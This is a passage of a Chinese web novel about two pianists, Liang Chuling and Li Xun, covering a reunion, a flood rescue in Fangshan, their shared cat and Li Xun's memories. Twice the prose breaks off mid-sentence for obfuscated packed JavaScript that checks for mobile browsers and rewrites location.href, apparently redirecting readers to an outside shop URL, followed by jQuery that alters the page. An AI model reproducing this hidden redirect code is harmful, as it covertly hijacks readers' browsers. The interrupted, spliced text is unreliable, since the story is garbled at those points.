林佳妮听完简直要替梁初灵感到被冒犯,总有男人爱强行与一名女性捆绑成浪漫叙事,叙事只会建立在彻头彻尾的虚构之上。 谁都想趴在女人身上,吸一口甜美的血。 林佳妮无力改变,只得换个话题,换种心情,便拉着梁初灵往琴房走,说最近有几个苗子不错,有个女孩儿的偶像是她,既然回来了,顺便给听听看。 只是没想到,刚走到那排琴房门口,其中一间的门就从里面打开。 走出来两个人,一男一女。 男的是李寻。 梁初灵第一眼就看见他,身姿比少年时更挺拔,褪去了青涩,多了沉稳。 他微微侧头,专注地对身边的年轻女性说着什么,那位女性气质温婉,梁初灵不认识。 梁初灵第一耳就听见他,语气温和又肯定:“喜欢,不只是喜欢,是爱……应该比爱更重,是珍视。对,我珍视你,我怜惜你。” 那名女性听着,点点头。许是心情激荡,下台阶时没注意,脚下绊了一下,李寻立刻伸出手,扶住了她的胳膊,动作自然又体贴。 扶稳后,二人继续向外走。 也就是在这一刻,李寻抬起头,二人四目相对。 梁初灵看到李寻立刻站定,手上也一定在用力—— 那名女性胳膊处的外套都被他捏出了褶。 还看到李寻眼神里的始料不及,以及更多她无法解读、也不想解读的情绪。 但她没有允许自己与他对视超过一秒,梁初灵先移开了视线,目光落在地上。 她觉得不洁—— 不是为自己,而是为那个此刻正沉浸在幸福中的陌生女性,她应该拥有一份洁净的、完整的、不被前尘往事打扰的爱。 那么自己这条早已缠绕混乱的因果线,就不该被她看见,不该玷污她此刻感受到的珍视与怜惜。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852315|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以梁初灵移开视线,仿佛只是无意中瞥见了陌生人。 还拉了拉林佳妮,向旁边退了几步,让出更宽的通道,示意对方二人先过去。 李寻的脚步有踌躇,他看着梁初灵迅速避开的眼神,终究什么也没说,沉默地从她们面前走过。 错身而过时,梁初灵听到那个温婉的女声响起,带着好奇:“那你以前也这样爱过吗?” 脚步声没有停顿,李寻的回答顺着走廊飘过来:“爱过的。” “爱过的”—— 梁初灵抬头,面前站着的不是林佳妮,是克莱本大赛的某位女评委。 五年前的秋天,克莱本国际钢琴大赛进入赛事期,梁初灵在克拉科夫先落了地。 接机的是赛事组委会派来的志愿者,一个金发碧眼的年轻男孩,举着写有她名字的牌子。梁初灵走过去打招呼。 去酒店的路上,她心跳得有些快,她入围了,李寻也入围了,比赛要持续整整两周。这两周里,她会见到他吗? 既战战兢兢,又隐秘期待。 战战兢兢是因为不知道见面该说什么,该怎么面对那双眼睛。 期待,是因为她发现自己竟然如此想念他,想念到愿意承受任何尴尬,只要能再见一面。 “您好,”她终于忍不住,问副驾驶座的志愿者,“这次入围的选手里,有个叫李寻的中国男钢琴家,请问他到了吗?” 志愿者挑眉:“李寻?他退赛了,这很特别,入围的选手很少有退赛的。你和他来自同一个国家,你知道原因吗?” 退赛了。 梁初灵愣了好几秒:“这样啊……谢谢。我也不太清楚。” 车窗外的风景继续倒退,可她什么也看不见了。 说不清是什么复杂感觉,但一定有失落。 几天后,选手们移师华沙,比赛开始前,留足了选手游逛的时间,梁初灵去了圣十字教堂,这座教堂并不特别宏伟,但这里的一根立柱中,安放着肖邦的心脏。 看完后,又走到维斯瓦河,水是可爱的亲切的,梁初灵往下看又往上看,觉得天很低,低到可以伸出手拽着河水使其摇曳——梁初灵在心神摇曳间丢失了吊坠——李寻当初送给她的那条。 怎么找都找不到……脚边、座位下、地砖的缝隙里,没有,她蹲下身搜寻每一寸地面,不顾旁人异样的眼光,几乎趴在了地上,没有,也许掉进了河水里,她们说维斯瓦河连着波罗的海,没有。 她保持着蹲姿,很久没有站起来。 吊坠丢了。 连同过去某一部分的自己,一起丢在了这里。 记忆于是变得可以想见,一段一段,一条一条,一帧一帧,这是一个出生、死亡、失散、告别都很轻而易举的世界。可梁初灵蹲着伸出手,手心里曾燃烧过另一个少年的温度,但温度淌走了,也许一起淌进了波罗的海,失却了手心温度的这一刻,梁初灵才意识到自己失去了李寻。 听说世界上的海都连在一起,那我希望我们曾燃烧过彼此温度的证据,可以流向全世界。 河水蹭过岸边,把银光蒸成雾,会去往天上叠成蓬松的云,说不定每一片云也会带着水的记忆去往世界的各个角落。 带着这样的心情,梁初灵装了一瓶维斯瓦河的水,带着这样一瓶水上台,梁初灵打破了克莱本大赛首奖空缺二十年的魔咒,成为了新的传奇。 梁初灵知道,这一刻,全世界的钢琴家都会知道她的名字。 李寻也一定会知道。一定会看到。 ……会看到她的脖子空落落。 那位女评委听完她的琴声,眼眶通红,说:“我听到、我知道,你爱过的。” 我爱过的…… 我爱过的吗? ”爱过的。“ 梁初灵站在原地,背对着她们离开的方向,身体绷得笔直。 直到脚步声彻底消失,她才松开不知何时握紧的拳头,掌心留下了几个指甲印。 林佳妮不认识李寻,也不知道往事,只察觉到梁初灵状态倏忽间大变,看着她问:“初灵,怎么了?” 梁初灵摇了摇头:“没事。走吧,去听你的学生弹琴。” 40. 《戈雅之画·爱与死》 那天的偶遇,后劲大得让梁初灵自己都感到诧异,以至于接连几天,她都避开了所有前往学校附近的可能。 至于到底在害怕什么,她说得明白吗? 是怕遇见李寻本身,还是怕遇见那个爱着别人的李寻? 她说不明白。 只觉得有点喘不过气,仿佛五年的时间筑起的堤坝,只需那一眼,就显露出不堪一击的脆弱。 金溪在这件事上表现得异常懂事,绝口不在梁初灵面前提起李寻两个字,发的消息全是乐团其他成员的拍摄趣事,太懂事了,懂事到梁初灵不得不旁敲侧击…… “你们最近拍摄顺利吗?”她状似无意地问金溪。 “挺顺利的呀,就是有点累。”金溪回得很快,但绝不多说。 “导演要求高吗?”她差点打出全名,赶紧删除。 “李导啊,挺专业的,要求是挺细的。”回答依旧滴水不漏。 几次下来,梁初灵彻底没招了,破罐子破摔:“你偷拍几张李寻给我看看,拍好看点。他女朋友来了吗?” 消息发出去,她脸上有点发烫,觉得自己这行为好幼稚。 金溪显然被这直球打蒙,过了好一会儿才回复:“……啊?哦!啊!原来你是想问他啊!早说嘛!等着!” 金溪这脑子一根筋的,梁初灵说什么她就信什么。 梁初灵问“他女朋友”,金溪就自然而然认为李寻真的有女朋友,并且立刻对号入座——就是剧组的这位编剧。 剧组里女工作人员不多……年龄契合得更少,太好认。 趁着下午光线好,金溪躲在角落里,偷偷摸摸对着正在跟摄影师沟通的李寻拍了几张侧影,选了最清晰的发过去。 照片里的李寻穿着黑T,头发有点长了,侧脸线条清晰,确实拍得不错。 女性就不太合适被偷拍,金溪只能靠补充问:“他女朋友是那位看起来很温婉,讲话普通话很标准的吗?” 梁初灵看着照片心情刚好起来,被这一问,心里又闷闷的:“应该是。” 金溪恍然大悟:“难怪!他女朋友好像每天都在剧组待着,陪着他工作呢!” 梁初灵看着这行字,没再回复。 她也不知道自己这是什么心理,非要刨根问底,问到了,心里连自己都不愿承认的期待落空,随之而来的就是铺天盖地的不舒服。 晚上她连饭都少吃了一碗,张姨直嘀咕:“是不是今天的菜不合胃口?” 北京最近的天气极其不正常,像情绪失控一样,隔两天就要下一场暴雨。 张姨念叨:“邪了门了,我在北京活了大半辈子,就没见过夏天能下这么多暴雨的,跟捅破了天似的。” 梁初灵正好乐得不出门。 不过她被安排了一场国家内部演出,为退伍老兵和政要表演,意义特殊,不得不去。还需要提前去指定场地排练。幸运的是,排练的这几天,天气倒是格外给面子,晴空万里。 金溪在微信上跟她闲聊,说:“过几天导演要带队去房山拍外景,我们乐团的小提琴首席是房山长大的,那边有他小时候练琴的地方。” 梁初灵回:“那你没事了?” 金溪:“我没事啊,那天我没拍摄任务,过来找你玩?” 梁初灵看着屏幕上自己和金溪的聊天背景——那是三年前金溪终于拍到的、在河湾中悠然浮游的桃花水母,透明梦幻,的确像坠入水中的桃花瓣。 她改变了主意:“还是我来你家玩吧,正好看看水母们。” -- 计划赶不上变化。李寻团队去房山拍摄的那天,到了中午天色就阴沉下来,紧接着,瓢泼大雨倾盆而下,丝毫没有停歇的迹象。 雨幕密集得几乎无法视物,雷声隆隆。 梁初灵被困在家里,听着窗外雨声,起初并没太在意。 直到手机开始接连不断接收到气象台发布的暴雨橙色、红色预警,新闻推送里也开始出现“北京多地遭遇强降雨”、“部分路段积水严重”的消息。 到了傍晚,社交媒体上已经开始有险情视频传出,低洼地带的车子泡在水里,有路段出现塌方。 梁初灵的心渐渐提了起来,眼皮也开始狂跳。 北方城市面对极端暴雨的经验不足,排水系统承受巨大压力。 到了晚上,雨势不但没减小,反而愈发猖獗。 新闻焦点开始集中指向灾情最严重的区域——房山区。 伤亡量激增的新闻层层叠叠。 梁初灵坐不住了。 她在客厅里来回踱步,内心不安几乎要淹没她,先给李炽打了个电话,但对方正在通话中。 犹豫了一下,微信上发消息:“李炽老师,李寻回来了吗?” 几分钟后,李炽回电:“李寻他们剧组在房山那边,被暴雨困住了。通讯时断时续,半小时前联系上,说的是人暂时安全,在一个地势比较高的农家院里,但路都断了,水还在涨,救援队一时半会儿很难进去。我刚打电话打不通了。我跟你说是不想糊弄你,但是你不要因此太着急啊……” 梁初灵说好的好的自己不着急,但是握着手机的手在发抖。 梁初灵敲响了妈女士的房门:“妈,你能不能不能联系一下你那位疏忽,帮忙问问房山那边的救援情况?或者有没有办法联系到去那边的救援队?问问李寻他们那个剧组的具体情况?” 她的手在抖,声音也在抖。 妈女士被她这副样子吓到,连忙打开门,扶住她冰凉的手:“你别急,慢慢说,谁在房山?李寻?” 梁初灵用力点头:“他在房山拍片子被困住了,妈,你帮我问问那位叔叔吧!” 在可能失去的恐惧面前,刻意维持的疏离土崩瓦解,露出了底下真实的担忧。 雨声像心跳声,但不是梁初灵的心跳。 妈女士拿着手机和那位叔叔通话,妈女士通话中的每一个表情都牵动着梁初灵的心。 “对,对对,是我女儿一个很重要的朋友,在房山那边拍片子,现在联系不上……”妈女士一边说,一边担忧地回头看了一眼梁初灵,“已经派过去了?解放军和医疗队都去了?你们队也正要出发?好好好,你们可一定要注意安全!” 挂了电话,妈女士走回来,再次握住梁初灵的手:“宝贝,别太担心,已经有救援力量往那边去了,都出发了。她们经验丰富,一定会没事的。” 梁初灵反手紧紧抓住妈女士的手:“我也想去,我能不能跟着去?我就在安全的地方等着,行吗?” “胡闹!”妈女士对她板起脸,“那种地方现在多危险,道路中断,山洪、泥石流都有可能发生。救援是专业的事情,你去添什么乱?还给人家增加负担!乖乖在家等着,有消息会第一时间通知我们。” 道理梁初灵都懂,可依然坐立难安。 时间爬行,梁初灵生怕错过任何一条信息,一个电话。 网络上关于房山灾情的消息越来越多,图片和视频触目惊心,她的心也跟着不断下沉。 房山,现实比想象更严峻。洪水湍急,水面漂浮着大量杂物和折断的树木,救援冲锋舟多次尝试都无法安全靠近李寻剧组所在的农家院。 已经深夜,暴雨毫无停歇迹象,水位仍在缓慢上涨,危机并未解除。 救援队决定采取更冒险的方案,派遣几名队员,携带绳索和救生设备,涉水攀爬建立一条更稳固的牵引通道。 李寻看着那些橘红色身影在汹涌水流中移动,心提到了嗓子眼,当一名队员不慎被水下暗流带倒,险些被冲走时,李寻和其他几名剧组人员也站了出来。 “我们帮忙固定绳索吧,人多力量大!”他们与救援队员配合,在齐胸深的洪水中,用身体作为额外支点,传递和固定救援绳,协助搭建这条生命线。 转移开始。老人、女性和身体不适者优先。 当轮到黄潇时,她因为恐惧和体力不支,在攀爬湿滑的临时通道时脚一滑,尖叫着向后倒去。 李寻离得最近,扑过去一把抓住她的胳膊,将她推向救援人员方向。 反冲力,加上脚下被水流裹挟的石头一绊,李寻自己却失去平衡,向后一仰,被湍急的洪水卷了出去。 “导演!”惊呼声四起。 充满泥沙的洪水灌入口鼻,大力拉扯着李寻,视线一片模糊,耳边只有轰隆水声。试图挣扎,但人力在自然狂暴面前显得渺小。 在他意识开始模糊的瞬间,腰间一紧,一条系着浮漂的救援绳被抛来缠住了他,两个橘红色身影跃入水中,抓住了他。 李寻被拖上冲锋舟时,呛了水,在剧烈咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860274|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗽,浑身冰冷但意识尚存。救援队员进行了简单的急救,确认没有严重外伤,但呛水和失温需要尽快处理。 后续的转移在高度紧张中完成。所有人员安全登上了前来接应的救援车辆。李寻被裹上保温毯,吸着氧,驶向最近有条件接收的医院。 到达医院时已是凌晨,急诊大厅里挤满了因灾受伤或转移的群众。 李寻确定是吸入性肺炎和低温症,需要住院。 流程很快,半小时后他就躺在病床上,手上打着点滴,疲惫不堪,但总算脱离了危险。 那位妈女士联系的叔叔,在交接完工作后,想起嘱托,便回拨了电话。 电话被接起,传来的却是梁初灵焦急的追问:“怎么样?叔叔?人找到了吗?安全了吗?” 叔叔愣了一下,有点尴尬,毕竟在跟人家妈妈谈恋爱……跟恋爱对象的女儿对话,既怕显得太生分见外,又怕太亲近了逾矩。 但情况紧急,他只好连忙说:“是初灵啊,找到了找到了,人都救出来了,现在在医院……” “谁在医院?伤得重吗?” “就是导演,姓李那个小伙子,他救人的时候不小心落水了,呛了水,医生说没大事,你别太担心。”叔叔努力把情况往轻里说,但又不能不说实话。 “哪家医院?!他现在醒了吗?他……” 旁边刚安顿好剧组人员的黄潇恰好走过来,问:“您好,是李导朋友的电话吗?李导这边情况稳定了,需要我跟对方说一声吗?” 叔叔正愁不知道怎么说呢!及时雨赶到,立刻便把手机递了过去:“也好也好,你跟他熟,你来说吧。” 电话换到了黄潇手中。她声音温和:“喂,您好,我是李导的同事。您放心,李导现在已经做完检查了,是吸入性肺炎和失温,需要住院观察几天,但没有生命危险,精神状态也还好。” 没有任何细微音符能逃得过梁初灵的耳朵,她听出了那个音色和语调,是那天在附中琴房门口和李寻一起的那名女性。 原来是他女朋友在照顾他,还替他接电话报平安。 梁初灵一时间千般滋味涌上心头。后怕、庆幸,还有反感。 反感李寻。 当年她和周序冲动行事,李寻指责她的样子记忆犹新。那套关于牺牲与责任的说教,还在耳边。可现在轮到他了,为了他这位珍视的女友,不也一样不顾自身安全,差点把命搭进去? 双标。 虚伪。 还是说,爱情真的能让人变成自己曾经不认同的样子? 她心里像打翻了五味瓶,自己这一整晚的担惊受怕彻夜未眠,简直是咸吃萝卜淡操心。 人家有女友贴身照顾,自己这个前尘往事,在这里又唱又跳。 “好的,我知道了。谢谢您告诉我情况。”梁初灵的声音恢复平静,变得很礼貌,“那再见。” 她没再多问关于李寻的情况,挂断了电话。 窗外天光已经大亮,但暴雨依旧未停,只是从狂暴转为了绵密的倾泻。 梁初灵看着玻璃上蜿蜒流下的水痕,感觉自己的力气也被这场漫长的雨抽干。 从昨天傍晚得知消息到现在,整整一宿,她的神经都紧绷,此刻骤然松弛,只剩下无尽的疲惫和空落落的茫然。 过了一会儿,李炽的电话也打了过来。 她的声音带着安抚:“初灵,李寻这边没事了,医生说了观察得观察几天,昨晚谢谢你妈妈帮忙联系,也谢谢你。” “没事没事,人没事就好。”梁初灵应道。 李炽顿了顿,考虑到梁初灵容易情绪激动,又担心外面的天气依旧恶劣,出行不便,就补了一句:“这边医院人多也乱,你好好休息。不用过来看他,他没多大事,别担心。” 李炽的本意是体贴,怕梁初灵看到李寻病恹恹的样子心里难受,也怕她冒雨出门不安全。 但这话听在心绪复杂的梁初灵耳里,却变成了另一层意思:李寻身边有人照顾,李炽老师是怕自己过去了,三个人尴尬,场面难看。委婉地提醒自己保持距离。 她用尽可能平静的语气:“好的,李炽老师,我知道了。你也注意休息。” 挂了电话,梁初灵用毯子盖住头。黑暗和柔软的包裹让她好受一点。 累了。就这样吧。 41. 《西班牙花园之夜》 国家剧院那场内部演出结束,梁初灵退到后台,刚接过助理递来的水,就看见一个熟悉身影朝这边走来。 是周序在国内资源团队的负责人——曾来找梁初灵接手过周序的工作、但被拒的那位。 “梁老师,演出太精彩了。”负责人伸出手,“没想到能在这里遇到您。” 梁初灵礼貌性地与他握了握手:“您也是来听演出的?” “陪家父来的。”负责人笑得恰到好处,“真是缘分。正好有个事想跟您聊聊,周序下个月回国,首场演出在厦门,不知能否荣幸邀请您作为特别嘉宾?” “抱歉,档期排不开。”梁初灵回得很快。 负责人的笑容滞住,很快又恢复如常:“理解理解。不过梁老师,其实周序一直很想亲自邀请您,只是怕您还在生他的气。” “他没有我的联系方式吗?如果有需求,他可以直接联系我。” 负责人像是抓到了什么希望:“那就是说如果周序本人联系您,您会答应是吗?” 梁初灵抬眼看他,那双总是过分清澈的眼睛里此刻闪过促狭:“当然不会啦。我就是这么一说。” “……”负责人的表情管理失效。 但他还在斟酌措辞,然后压低声音:“梁老师,当年周序退出中国市场,多少也和您有些关系。他这几年来一直在努力修复形象。如果您能作为嘉宾出席,对他是很大的帮助。毕竟你们曾经……” “曾经什么?”梁初灵的声音冷下来。 “曾经你们合作得很愉快……”负责人硬生生改口。 “他当初退出中国市场,是因为他自己的选择触犯了公众的底线,人要为自己的选择负责。” “至于修复形象——一个音乐家最应该用音乐说话,而不是靠蹭谁的热度。周序本人都没想过联系我走捷径,你倒是想得开。周序真有实力,自然会重新站起来。如果他需要靠我的加持才能在中国市场立足,那我建议他趁早转行。” 说完,梁初灵微微颔首:“抱歉,我还有事,失陪了。” 梁初灵觉得自己的人情在去柯蒂斯的第一年就还完了。 周序能从人生低谷重返聚光灯下,如今更是能顺遂重回国内演出的舞台,和梁初灵的鼎力扶持不无关系。她没敷衍,凡能搭的桥、可铺的路,都尽心尽力,柯蒂斯的内部演出她都邀请了周序同台,还想怎样? 纷议她并非未闻。 反方讥讽:周序落得这个境地还不是因为梁初灵?现在帮扶复出,不是应该的? 对啊,前因后果与她相关,可那又怎么样?她又没有威逼利诱,是周序自己做出的选择。 正方又劝:你这清白感也太强了,没必要帮他。 对啊,她清白感高,这是很好的品质,她不认为要丢弃这个品质去迎合当下爱看的叙事。 她转身离开,助理小跑着跟上来,小声说:“梁老师,你这么说话会不会……” “会不会得罪人?”梁初灵接过外套披上,“有些人你越客气,他越是得寸进尺。而且我就想得罪他!我看见他就烦!” 走出剧院侧门,秋夜的凉风扑面而来。梁初灵看了眼北京的夜空,想起很多年前,李寻曾对她说过一句话:“你不要总对自己说不。” 她现在学会了。只是跟她说这句话的人,已经不在她身边。 -- 李寻要住院观察两周,李炽也有急事要离京,她和儿子都不是喜欢邀请人来家里做客的性格,自然也不会愿意让陌生人上门喂猫。李炽的好友最近也在跑审批,忙得不行。 想来想去,她只好又给梁初灵打电话:“初灵,李寻这边还得在医院观察一周多,我这边乐团在南京的演出出了点状况,我必须马上飞过去一趟。” “栗子又自己在家了,我不太放心。你要是这几天有空,能不能每天来家里看看它?喂个食,换换水……” 李炽说到这里突然插入空白,因为她实在尴尬,猫本来就是李寻偷回来的……急昏头了给忘了,这……这,唉,李炽直挠头。 只好又补了一句:“要是你也没工夫也没事儿,我问问李寻有没有朋友住得近的,能每天上门看看——” “我有空!”梁初灵几乎是抢着打断了她的话,“我来喂!” 话一出口,梁初灵才意识到自己反应过度,她也插入漫长的空白。脸有点发烫,但那股气还在胸口堵着—— 这是她的猫!凭什么要让别人来喂?难道还要让李寻女朋友帮忙喂她的猫吗! 李炽赶紧把尴尬的托付说完,“那就麻烦你了。我会跟李寻说一声。” “不用跟他说。有什么好说的!我-喂-我-的-猫-不-用-他-知-道!”梁初灵心里跟个汽笛一样在鸣叫。 电话那头沉默了两秒,然后爆发出李炽的惊天大笑,笑得梁初灵五官全部皱在一起,又不敢骂李炽老师。 “好好好。”李炽最终说,“那就这样。钥匙你有的吧?我家没换锁。回来了给你带礼物。” 挂断电话,窗外的天是灰白的,云层很厚,像又憋着一场雨。 五年前打完那通电话后,没过俩小时,张姨回家继续指挥师傅搬家具,意外发现栗子不见踪影。 一定不是自己跑丢,而是被人偷了—— 不然怎么会猫砂盆猫碗猫窝都不见了啊! 好歹毒的心思! 客厅有监控,但张姨不会弄,赶紧联系梁初灵,梁初灵吓得立即登录查看,于是在摄像头记录里,看着李寻用钥匙开了她家的门、收拾了栗子、还把泼洒出来的猫粮扫了、临走前还对着摄像头说了句拜拜。 极其嚣张…… 当初就不该把我家钥匙给你!梁初灵快气死了。 她给李寻打电话,打了七个,他都没接,第八个,他接了。 “栗子呢?”她问。 “在我这儿。”李寻说。 “还给我!” “不给。” “李寻!” “梁初灵,”他的声音很平静,“你可以不见我,可以当我不存在。但栗子我要带走。” 梁初灵气得浑身发抖,从没想过李寻会是这样的人。 骂他无耻,骂他强盗,骂他凭什么。 李寻安静地听完,只说了一句:“就凭它也是我的猫。梁初灵,你不能把什么都拿走。” 后来,猫就一直留在李寻那儿。李炽偶尔发照片过来,有时候梁初灵半夜睡不着,会点开那些照片,放大,看看有没有可能在照片角落里看到一点人的痕迹。 -- 去李炽家时,梁初灵一开始像个做贼的,直到打开鞋柜,看到了里面那双看起来新、但又有点旧了的粉色拖鞋,是她几年前的那双,居然还在。 屋子里很安静,栗子听到动静,从猫爬架上跳下来,叼着羊毛球玩具慢悠悠走过来,在她腿边蹭了蹭,发出一声绵长的叫声。 “你还认得我啊!”梁初灵蹲下身,是十二分的惊喜,摸了摸栗子的头。猫的毛很软,手感熟悉得让她鼻子发酸。 再拿过羊毛球,这个玩具不知道它已经玩了多长时间,都不再是一个圆润的球,已经被咬得奇形怪状。 换了猫粮和水,清理了猫砂盆,做完这些,她坐在客厅的地毯上,专心去和栗子交流感情,一边交流一边在心里谩骂李寻。 人背靠着沙发,阳光从窗户射进来,猫跳进怀里。 这个房子,这个角落,这个姿势,太熟悉了。 困意涌上来,梁初灵不知道自己为什么每次来这个房子都犯困,从几年前到几年后,都是这样。 也许是这里的阳光太好,也许是地毯太软,也许是栗子的呼噜声太催眠。眼皮越来越重,意识渐渐模糊。 算了,就睡一会儿。她对自己说。 吸入性肺炎不严重,但医生建议李寻至少住院观察要满一周,李寻在医院躺到第四天就受不了了。他知道李炽去了南京,家里只有栗子。 虽然李炽说找了朋友每天上门照看,但李寻还是不放心,而且影片还有一堆工作等着他呢。 医生拗不过,开了些口服药,叮嘱了一大堆注意事项,总算放他出院。 李寻打车回到小区时,已经是下午三点多,阳光很好,小区里的银杏叶开始泛黄,在雨后清新的空气里格外鲜亮。 客厅里很安静,李寻第一眼没看到栗子,正想叫一声—— 他确定自己唇齿没动,喉咙也没发出声响,却又觉得声音已经破腔而出,只是声音没顺着空气散开,反倒被折了回来,硬生生扎进他自己的感官里—— 他看见梁初灵歪着头,靠在沙发边睡着。 栗子蜷在她腿上也睡得正香。 他看到睫毛在梁初灵眼睑下投出阴影;看到她的呼吸很轻;看到她的胸口起伏;看到她的手指甲有一点长了,估计这两天就得剪;看到她卫衣的帽子没翻出来;看到她的头发有一簇粘在了嘴边;看到她的黑色裤子上猫毛明显;看到那双属于她的拖鞋;看到她右手依然握着的羊毛球;看到…… 李寻站在门口,一动不动。 他觉得自己可能还没出院,可能还在医院床上,这是梦,或者他穿越了,穿越回五年前,某个普通的下午,他回家,看见梁初灵在等他,不小心睡着。 他眨了眨眼。 画面还在。 不是梦。 时间突然倒流了五年。没有决裂,没有伤害,没有分开,没有那个电话。 她还是那个会在他家睡着的梁初灵,栗子还是那只喜欢黏着她的猫,而这个房子,还是她们可以一起休憩的地方。 李寻轻轻关上门,脱掉外套,换了拖鞋,一步步走过去,在她身边的地毯上坐下。 距离很近,近到能看清她脸上细小的绒毛,能闻到她身上不熟悉的香味。 就这么坐着静静看着她。 目光流连在她眉眼间,梁初灵睡梦中突然放松下来,手里的羊毛球滚落,滚着滚着滚成一个圆圆的新玩具。 分开后的日子,对李寻而言是一种清晰的凌迟。 在那通关于栗子的电话后,梁初灵给他发了条微信:“我再也不想见到你。” 发完后就把他拉黑。 很快梁初灵就出了国。那时候柯蒂斯还没开学,李寻不可能知道她去了哪里。 甚至知晓她已经离开,都还是某天妈女士给李寻打电话,问,栗子是不是在他那儿?李寻尴尬应是。 妈女士这才轻松地拍拍胸脯,说那就放心了。梁初灵只说了自己养不了栗子,所以给别人养,又不说是谁。妈女士想来想去,能让梁初灵放心给出去的只有李寻。李寻只能再应是,心里苦涩地想,我已经是别人了。 妈女士又说,家里有很多猫罐头和猫粮,让他过来一趟拿走。李寻说还是不了,他跟梁初灵吵了架,现在不方便见面。妈女士没多问二人关系,只说:“她昨天就出国了,你俩见不到面,没事儿,你来拿吧。” 拿完罐头回来,栗子在家里折腾,把一个抱枕给咬破,里面的絮纷纷扬扬飞舞,李寻站在絮中,像站在雪中,突然想起二人之前的那个约定。 签证是早就办好的,为了那个未曾实现的约定,他一个人去了北极。 站在岸边,面对无边无际的的冰原和深灰色的海,极寒的空气吸进肺,带着凛冽的干净。同团旅客们兴奋地拍照、惊呼,李寻却沉默。 李寻看着地球尽头的苍茫,心里想的是:梁初灵,你有没有可能也来到了这里? 这个念头毫无道理,但他在每一个转角,每一条冰封的小径,每一次登上观景台时,眼神总会在人群中搜寻。 想象着她裹着羽绒服,帽子边露出一点头发,眼睛被雪映亮的样子。 甚至能听见她可能会说的惊叹词。 当然,他一次也没有遇见她。 旅途中认识的新朋友里,也没有人知道梁初灵是谁。 这里的天地太浩大,个人的悲欢太小。 北极不常下雨,雨会该换样貌以雪或霜的形式出现,但李寻碰见了一场雨,如整个天空向他俯下身,匍匐在他的背上,将他压得想弯腰。 李寻摸了摸脸上的水,是雨水,他想。 远处,有不知道谁堆的一个大雪人,堆得不好,像个葫芦,像梁初灵脖子上那个葫芦吊坠,转而想到梁初灵对他如此决绝,不知道这个吊坠会被如何处置。 李寻一步步走近那个雪人,发现雪人的眼睛是一对袖扣,嘴巴是一枚发卡,耳朵是一边一个打火机,而让他觉得像个葫芦的原因——雪人头顶上竖起来一块——是不知道谁竖插上去的一个护目镜。 雪人的一身都是人类世界的痕迹。 周围一个人凑过来说,这是这儿堆得最大的一个雪人,上面的东西都是大家在海里捡到的,顺手就糊了上去,又拉着李寻往雪人背面看,有人拿树枝写了字。 李寻也拿树枝刻了三个字母:LCL。 刻完自己都觉得太可笑,想要划掉,但树枝要戳上去的时候他又不忍心,他连去伤害梁初灵的名字都不忍心……于是脱掉手套,用手心温度将这三个字母抹花。 抹去后,他坐在狗拉雪橇上,在冰酒店里喝一杯冰镇的酒,在深夜裹着毯子等待极光,心里满满的,却又空落落的,因为都是梁初灵。 那些未曾与她分享的震撼,寂静和寒冷,都变成了一种加倍的孤独。他履行了约定,却把承诺的另一半,永远留在了想象中。北极的星空璀璨至极,可星光带着遗憾的凉意。 回来之后,李寻的状态糟糕透顶,放弃音乐的决定带来的不仅仅是前途的迷茫,更像是一种身份认同的撕裂。 李寻的朋友说:梁初灵把你毁掉了。 毁掉,李寻特别特别讨厌这个词,显得自己很不堪,也很没有主体性。 李寻相信一个人只会成为自己,这和任何人都没有关系,只会是自己一个人的事。 如果某件事给某个人造成了深切的影响、且一直在影响,那么,其实是这个人放任了自己被这件事去影响。 太过清醒的弊端就体现在这里,他明晰自己在放任梁初灵影响他的人生。 李寻很快就去了纽约,身边再没有一个人认识梁初灵。 没有人知道那个在古典乐坛如雷贯耳的名字曾与他息息相关,没有人会用探究或同情的眼神看他,更不会有人提起她的近况。 世界终于如他所“愿”,将关于她的一切痕迹擦拭得干净。 起初他以为这是解脱。 直到某个深夜,他在公寓里向新认识的朋友解释自己为什么放弃钢琴转向电影时,发现自己竟然找不到一个能概括的理由——任何一个诚实的理由,都绕不开她。 那一刻他悚然惊觉,她的离开不是瞬间的断裂,而是一种缓慢却更加彻底的抽离。 先是共同的圈子,然后是交织的日常,最后连提及的理由和语境都消失了。 李寻像一棵被移植到陌生土壤的树,表面上存活,根须却悬在半空,再也触不到能滋养他的熟悉养料。 最痛苦的是他无法自我欺骗。 他向来看得太清楚,以至于能清晰感觉到“梁初灵”如何从一个名字、一段具体的关系,逐渐变成一个符号,一个只有他自己记得的、他人无法验证的过去。 这种清晰感让每一次失去痕迹都变成一次确认的刺痛。 休息的一整年,其中一部分时间鬼使神差地去了好几次费城。 李寻不擅长欺骗自己,所以每一次去,都清楚知道自己是为何而去。 柯蒂斯校园不大,但要偶遇一个特定的人却实在需要运气。 去了好几次,大多时间只是坐在校园的长椅上,看着那些匆匆走过的年轻面孔,想象着她穿行其间的样子。 直到有一次,临近黄昏,他站在一栋古老建筑的阴影里,看见梁初灵从灯火通明的演奏厅里走出来,身边站着周序。 周序似乎说了什么有趣的话,梁初 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那之后李寻没再去找过梁初灵,甚至连不久后原本应该共同奔赴的克莱本大赛,他也提交了退赛申请。 那个舞台失去了所有的意义。 他选择彻底退出她的赛道。 回到住处,他拿出手机,决定删除所有与她相关的东西,可删除的过程,变成了一场完整的情感复盘,拿着放大镜,将已经结痂的伤口重新撕开,审视每一道纹理,回味每一次疼痛的由来。 太残忍了。 